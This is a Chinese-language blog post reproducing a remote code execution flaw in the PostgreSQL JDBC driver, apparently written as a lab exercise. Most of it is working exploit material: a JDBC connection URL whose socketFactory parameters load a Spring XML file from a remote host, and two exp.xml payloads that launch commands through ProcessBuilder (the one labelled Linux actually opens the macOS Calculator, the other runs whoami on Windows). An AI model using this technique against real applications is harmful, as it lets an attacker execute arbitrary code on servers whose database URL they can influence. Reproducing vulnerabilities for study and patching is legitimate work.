PostgreSQL JDBC Driver RCE复现

复现过程

参考https://mp.weixin.qq.com/s/jb7mbPWdMp1vlgF8F1mshg

使用Demo环境:

https://github.com/jirkapinkas/spring-boot-postgresql-docker-compose/

下载下来,拖进IDEA即可。

新建SpringJdbcTemplate2PostgreSqlApplication类:

image.png

代码:

  1. package com.example;
  2. import org.springframework.beans.factory.annotation.Autowired;
  3. import org.springframework.boot.CommandLineRunner;
  4. import org.springframework.boot.SpringApplication;
  5. import org.springframework.boot.autoconfigure.SpringBootApplication;
  6. import org.springframework.jdbc.core.JdbcTemplate;
  7. @SpringBootApplication
  8. public class SpringJdbcTemplate2PostgreSqlApplication implements CommandLineRunner {
  9. @Autowired
  10. private JdbcTemplate jdbcTemplate;
  11. public static void main(String[] args) {
  12. SpringApplication.run(SpringJdbcTemplate2PostgreSqlApplication.class, args);
  13. }
  14. @Override
  15. public void run(String... args) throws Exception {
  16. String sql = "INSERT INTO students (name, email) VALUES ("
  17. + "'Nam Ha Minh', 'nam@codejava.net')";
  18. int rows = jdbcTemplate.update(sql);
  19. if (rows > 0) {
  20. System.out.println("A new row has been inserted.");
  21. }
  22. }
  23. }

application.properties配置文件:

  1. spring.datasource.url=jdbc:postgresql://192.168.91.15:5432/postgres?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.91.1:8888/exp.xml
  2. spring.datasource.username=postgres
  3. spring.datasource.password=postgresql
  4. spring.jpa.hibernate.ddl-auto=create

exp.xml (Linux版本)

  1. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  2. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  3. <constructor-arg>
  4. <list>
  5. <value>/bin/bash</value>
  6. <value>-cc</value>
  7. <value>open /System/Applications/Calculator.app</value>
  8. </list>
  9. </constructor-arg>
  10. </bean>
  11. </beans>

exp.xml(Windows版本)

  1. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  2. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  3. <constructor-arg>
  4. <list>
  5. <value>cmd</value>
  6. <value>/c</value>
  7. <value>whoami</value>
  8. </list>
  9. </constructor-arg>
  10. </bean>
  11. </beans>

一切就绪后,运行SpringJdbcTemplate2PostgreSqlApplication的main方法。即可弹出计算器。

image.png

漏洞分析

看看Skay大佬的分析就行了!